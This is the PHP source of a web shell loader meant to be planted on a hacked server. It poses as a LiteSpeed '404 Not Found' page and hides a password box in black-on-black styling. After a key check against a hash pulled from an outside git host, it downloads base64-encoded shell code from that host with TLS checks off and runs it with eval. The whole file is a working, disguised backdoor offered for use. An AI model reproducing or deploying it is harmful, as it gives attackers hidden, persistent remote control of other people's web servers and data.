<?php
session_start();

// API
$valid_key_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v1/wshell-key"; // API Key
$valid_key_hash = trim(file_get_contents($valid_key_url)); 

// Fungsi
function show_login_form($error_message = '') {
    ?>
    <html style="height:100%">
        <script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/content/location/location.js" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/extend-native-history-api.js"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><head>
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title> 404 Not Found</title>
        <script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="[&quot;facebook.com/&quot;,&quot;twitter.com/&quot;,&quot;youtube-nocookie.com/embed/&quot;,&quot;//vk.com/&quot;,&quot;//www.vk.com/&quot;,&quot;linkedin.com/&quot;,&quot;//www.linkedin.com/&quot;,&quot;//instagram.com/&quot;,&quot;//www.instagram.com/&quot;,&quot;//www.google.com/recaptcha/api2/&quot;,&quot;//hangouts.google.com/webchat/&quot;,&quot;//www.google.com/calendar/&quot;,&quot;//www.google.com/maps/embed&quot;,&quot;spotify.com/&quot;,&quot;soundcloud.com/&quot;,&quot;//player.vimeo.com/&quot;,&quot;//disqus.com/&quot;,&quot;//tgwidget.com/&quot;,&quot;//js.driftt.com/&quot;,&quot;friends2follow.com&quot;,&quot;/widget&quot;,&quot;login&quot;,&quot;//video.bigmir.net/&quot;,&quot;blogger.com&quot;,&quot;//smartlock.google.com/&quot;,&quot;//keep.google.com/&quot;,&quot;/web.tolstoycomments.com/&quot;,&quot;moz-extension://&quot;,&quot;chrome-extension://&quot;,&quot;/auth/&quot;,&quot;//analytics.google.com/&quot;,&quot;adclarity.com&quot;,&quot;paddle.com/checkout&quot;,&quot;hcaptcha.com&quot;,&quot;recaptcha.net&quot;,&quot;2captcha.com&quot;,&quot;accounts.google.com&quot;,&quot;www.google.com/shopping/customerreviews&quot;,&quot;buy.tinypass.com&quot;,&quot;gstatic.com&quot;,&quot;secureir.ebaystatic.com&quot;,&quot;docs.google.com&quot;,&quot;contacts.google.com&quot;,&quot;github.com&quot;,&quot;mail.google.com&quot;,&quot;chat.google.com&quot;,&quot;audio.xpleer.com&quot;,&quot;keepa.com&quot;,&quot;static.xx.fbcdn.net&quot;,&quot;sas.selleramp.com&quot;,&quot;1plus1.video&quot;,&quot;console.googletagservices.com&quot;,&quot;//lnkd.demdex.net/&quot;,&quot;//radar.cedexis.com/&quot;,&quot;//li.protechts.net/&quot;,&quot;challenges.cloudflare.com/&quot;,&quot;ogs.google.com&quot;]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/../executers/vi-tr.js"></script>
        <style>
            @media (prefers-color-scheme:dark){body{background-color:#000!important}}
            .inputkey {
                background-color: #000;
                border: 0 #000;
                color: grey;
            }
            .btnkey {
                background-color: #000;
                color: #000;
            }
            </style>
        </head>

        <body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;" __processed_64252ced-4d94-4245-be43-a68f02a4ae28__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJlbmFibGVkIiwiRkFDRUJPT0siOiJlbmFibGVkIiwiVFdJVFRFUiI6ImVuYWJsZWQiLCJSRURESVQiOiJlbmFibGVkIiwiUElOVEVSRVNUIjoiZW5hYmxlZCIsIklOU1RBR1JBTSI6ImVuYWJsZWQiLCJMSU5LRURJTiI6ImRpc2FibGVkIiwiQ09ORklHIjoiZGlzYWJsZWQifSwidmVyc2lvbiI6IjIuMC4xNiIsInNjb3JlIjoyMDAxNjB9XQ==">
        <div style="height:auto; min-height:100%; " bis_skin_checked="1">     <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;" bis_skin_checked="1">
        <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>
        <h2 style="margin-top:20px;font-size: 30px;">Not Found
        </h2>
        <p>The resource requested could not be found on this server!</p>
        <?php if ($error_message): ?>
            <p style="color: red;"><?php echo $error_message; ?></p>
        <?php endif; ?>
        <form method="post" action="">
            <label for="key"></label>
            <input class="inputkey" type="password" name="key" id="key" required>
            
        </form>
        </div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;" bis_skin_checked="1">
        <br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div>

    </body>
    </html>
    <?php
}

// Fungsi Menuju Dashboard
function show_dashboard() {
    function get_contents($url) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }

    $hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
    $codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/wshell';
    $keyHash = trim(get_contents($hashUrl));
    if (empty($keyHash)) {
        die("Gagal mengambil hash key dari URL.\n");
    }
    $encoded_code = get_contents($codeUrl);
    if (empty($encoded_code)) {
        die("Gagal mengambil kode terenkripsi dari URL.\n");
    }
    $decoded_code = base64_decode($encoded_code);
    $clean_code = str_replace($keyHash, '', $decoded_code);
    
    // Menjalankan kode langsung dari memori
    eval("?>" . $clean_code);
}

// Cek apakah Dia Ingin keluar hati
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
    session_destroy();
    header("Location: ?"); // Redirect ke Hati orang lain
    exit;
}

// Cek apakah Dia sudah memiliki seseorang?
$error_message = '';
if (isset($_POST['key'])) {
    $input_key = $_POST['key'];
    $input_key_hash = md5($input_key); 

    // Cek apakah Cintaku padanya diterima? 
    if ($input_key_hash === $valid_key_hash) {
        $_SESSION['loggedin'] = true;
        header("Location: ?"); // Redirect ke Hati Dia untuk refresh
        exit;
    } else {
        $error_message = "hatimu Tidak diterima, Cobalah untuk sadar diri!"; // Kesalahan Hati
    }
}

// Jika sudah login ke hatinya
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
    show_dashboard();
} else {
    // Jika belum login
    show_login_form($error_message);
}
?>